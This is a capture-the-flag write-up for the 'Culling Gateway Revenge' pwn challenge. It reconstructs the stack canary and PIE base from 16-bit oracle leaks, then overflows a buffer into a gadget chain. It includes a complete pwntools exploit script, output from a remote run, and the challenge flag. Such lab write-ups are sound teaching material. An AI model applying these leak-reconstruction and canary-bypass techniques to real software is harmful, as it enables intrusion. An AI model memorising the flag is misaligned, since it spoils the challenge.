Challenge Name: Culling Gateway Revenge
Category: PWN
CTF: CyberSummit V4.0
Description: Tokyo Jujutsu High has escalated to a revenge protocol. Only fragmented oracle visions are available before the gate.
Connection: nc 172.205.208.94 9007
Challenge Overview#
This revenge variant keeps the same cursed-gate theme but makes information leaks significantly harder. Instead of direct pointer leaks, the binary gives only fragmented oracle outputs before the overflow stage.
Core ingredients:
- A shard-based oracle that reveals only 16-bit slices of stack qwords.
- A second-stage stack overflow guarded by a canary.
- PIE + NX + Partial RELRO, requiring careful runtime reconstruction.
The exploit is therefore: reconstruct first, overflow second.
Initial Reconnaissance#
Program Structure#
The binary runs in two phases:
- Oracle phase with a fixed number of interactions, where input format is
idx part. - Gate phase where an oversized
read()writes past a local buffer.
Oracle responses are shaped as:
shard: XXXX
Each XXXX corresponds to one 16-bit fragment of frame[idx], chosen by part in 0..3.
Leak Model#
For a leaked qword:
part 0gives bits0..15part 1gives bits16..31part 2gives bits32..47part 3gives bits48..63
So every useful 64-bit value requires four oracle queries and reassembly.
Vulnerability Analysis#
Fragmented Oracle Instead of Full Leaks#
Unlike the easier variant, this one does not hand over full pointers/canary values. The first technical hurdle is locating a stable anchor index on the stack.
Reliable approach:
- Scan candidate indexes for a recognizable low shard (
0xc0de). - Reconstruct the full qword at promising indexes.
- Confirm the sentinel tag
0x1337c0de1337c0de.
Once that tag is found, nearby slots expose the dispatch pointer and canary.
Jittered Oracle Replies#
Oracle interactions include random delay, which weakens brute-force tactics. A practical solver must avoid redundant probes and cache reconstructed qwords whenever possible.
Overflow Still Present in Gate Stage#
The second phase still performs oversized input into a smaller stack buffer, enabling overwrite of:
- Canary
- Saved
rbp - Saved
rip
As usual, the canary must be restored exactly or execution aborts.
Exploitation Strategy#
Gadget-Based Invoke Primitive#
The binary includes two helper gadgets:
cursed_contextcursed_invoke
Chain behavior:
- Return into
cursed_contextto load controlled values (rbx,rbp,r12,r13, plus stack-fedr14,r15). - Return into
cursed_invoke. - Argument remap happens internally:
r12 -> rdir13 -> rsir14 -> rdxrbp -> rcx
- Gadget mutates index with
rbx ^= 0x44and performscall [r15 + rbx*8].
By setting rbx = 0x44, the post-xor index becomes 0, selecting k_dispatch_table[0] (hidden success path).
Runtime Argument Derivation#
The target function checks four arguments tied to PIE/canary-derived expressions:
arg1 = 0x13572468deadbeefarg2 = (((pie >> 12) & 0xffffffff) ^ 0xd00df00d)arg3 = (pie ^ canary ^ 0x7a69b00b5eedface)arg4 = (rol(canary, 13) ^ 0x4242)
Because both canary and PIE are dynamic, full shard reconstruction is mandatory before payload generation.
Final Exploit Workflow#
- Discover the stack tag index via shard-guided scanning.
- Resolve nearby indexes for canary and dispatch pointer.
- Reconstruct both qwords from 16-bit parts.
- Recover PIE using
dispatch_ptr - k_dispatch_table_offset. - Compute all four validated arguments.
- Build overflow payload: padding, canary, saved-frame filler,
cursed_context, setup values,cursed_invoke. - Trigger indirect dispatch call to land in the win routine.
Exploit Code#
#!/usr/bin/env python3
from pwn import *
HOST = "127.0.0.1"
PORT = 1447
context.binary = elf = ELF("../hosted/challenge", checksec=False)
context.arch = "amd64"
DISPATCH_OFF = elf.symbols["k_dispatch_table"]
CURSED_CONTEXT_OFF = elf.symbols["cursed_context"]
CURSED_INVOKE_OFF = elf.symbols["cursed_invoke"]
TAG_VALUE = 0x1337C0DE1337C0DE
MAX_IDX = 40
MAX_ROUNDS = 96
ARG1 = 0x13572468DEADBEEF
def start():
if args.REMOTE:
host = args.HOST or HOST
port = int(args.PORT or PORT)
return remote(host, port)
return process(elf.path, cwd="../hosted")
def recv_shard(io):
io.recvuntil(b"[ORACLE] shard: ")
return int(io.recvline().strip(), 16)
def oracle_query(io, idx: int, part: int) -> int:
oracle_query.count += 1
io.recvuntil(b"(idx part): ")
io.sendline(f"{idx} {part}".encode())
return recv_shard(io)
oracle_query.count = 0
def rebuild_qword(io, idx: int) -> int:
parts = [oracle_query(io, idx, p) for p in range(4)]
value = 0
for p, shard in enumerate(parts):
value |= shard << (16 * p)
return value
def find_tag_index(io) -> int:
# Blind discovery: only low 16-bit shard for all indexes first.
candidates = []
for idx in range(-MAX_IDX, MAX_IDX + 1):
low = oracle_query(io, idx, 0)
if low == (TAG_VALUE & 0xFFFF):
candidates.append(idx)
for idx in candidates:
mid = oracle_query(io, idx, 1)
if mid == ((TAG_VALUE >> 16) & 0xFFFF):
high = oracle_query(io, idx, 2)
top = oracle_query(io, idx, 3)
value = 0
value |= (TAG_VALUE & 0xFFFF)
value |= mid << 16
value |= high << 32
value |= top << 48
if value == TAG_VALUE:
return idx
raise RuntimeError("tag index not found")
def rotate_left_64(x: int, r: int) -> int:
return ((x << r) & 0xFFFFFFFFFFFFFFFF) | (x >> (64 - r))
def build_payload(canary: int, pie: int) -> bytes:
arg2 = (((pie >> 12) & 0xFFFFFFFF) ^ 0xD00DF00D) & 0xFFFFFFFFFFFFFFFF
arg3 = (pie ^ canary ^ 0x7A69B00B5EEDFACE) & 0xFFFFFFFFFFFFFFFF
arg4 = (rotate_left_64(canary, 13) ^ 0x4242) & 0xFFFFFFFFFFFFFFFF
payload = b"A" * 0x58
payload += p64(canary)
payload += b"B" * 8
payload += p64(pie + CURSED_CONTEXT_OFF)
payload += p64(0x44) # xor 0x44 => dispatch slot 0
payload += p64(arg4) # rbp -> rcx (4th arg)
payload += p64(ARG1) # r12 -> rdi
payload += p64(arg2) # r13 -> rsi
payload += p64(arg3) # r14 -> rdx
payload += p64(pie + DISPATCH_OFF) # r15 -> dispatch table
payload += p64(pie + CURSED_INVOKE_OFF)
return payload
def exploit():
io = start()
oracle_query.count = 0
# Find tag blindly; derived indexes are stack-layout dependent but stable for this build.
tag_idx = find_tag_index(io)
dispatch_idx = tag_idx + 1
canary_idx = tag_idx + 2
dispatch_ptr = rebuild_qword(io, dispatch_idx)
canary = rebuild_qword(io, canary_idx)
pie = dispatch_ptr - DISPATCH_OFF
log.success(f"tag_idx = {tag_idx}")
log.success(f"dispatch_idx = {dispatch_idx}")
log.success(f"canary_idx = {canary_idx}")
log.success(f"canary = {hex(canary)}")
log.success(f"pie = {hex(pie)}")
# Consume remaining oracle rounds so the program advances to gate input.
# 96 total rounds, and we used:
# 81 (part0 scan) + up to 4 (tag confirmation) + 8 (rebuild dispatch/canary) = 93 worst case.
# Send a few safe dummies; extra sends are harmless because we wait for gate prompt.
remaining = max(0, MAX_ROUNDS - oracle_query.count)
for _ in range(remaining):
try:
oracle_query(io, 0, 0)
except EOFError:
break
io.recvuntil(b"[GATE] Recite your final binding vow:\n")
io.send(build_payload(canary, pie))
out = io.recvall(timeout=4)
print(out.decode(errors="ignore"))
if b"CyberTrace{" not in out:
log.failure("Exploit did not recover the flag.")
io.close()
if __name__ == "__main__":
exploit()
Run#
Remote:
python3 solve.py REMOTE=1 HOST=172.205.208.94 PORT=9007
Local:
python3 solve.py
Execution#
$ python3 solve.py REMOTE=1 HOST=172.205.208.94 PORT=9007
[+] Opening connection to 172.205.208.94 on port 9007: Done
[+] tag_idx = -19
[+] dispatch_idx = -18
[+] canary_idx = -17
[+] canary = 0x5df17419be662900
[+] pie = 0x5f452156a000
[+] Receiving all data: Done (169B)
[*] Closed connection to 172.205.208.94 port 9007
[GATE] Vow rejected by the six eyes.
[SYSTEM] Domain Expansion: Malevolent Shrine
CyberTrace{7h1S_R3VeN83_7h1NG_1SnT_F0r_M3_4NyM00Re}
[SYSTEM] Curse collapse complete.
Final Flag#
CyberTrace{7h1S_R3VeN83_7h1NG_1SnT_F0r_M3_4NyM00Re}
Key Takeaways#
- Fragmented leaks are still enough when you can script deterministic qword reconstruction.
- Jitter punishes noisy probing, so exploit efficiency matters as much as correctness.
- Canary + PIE remain bypassable once both values are rebuilt from partial leaks.
- Custom invoke gadgets can be stronger than classic ROP, especially when they directly implement argument plumbing and dispatch.





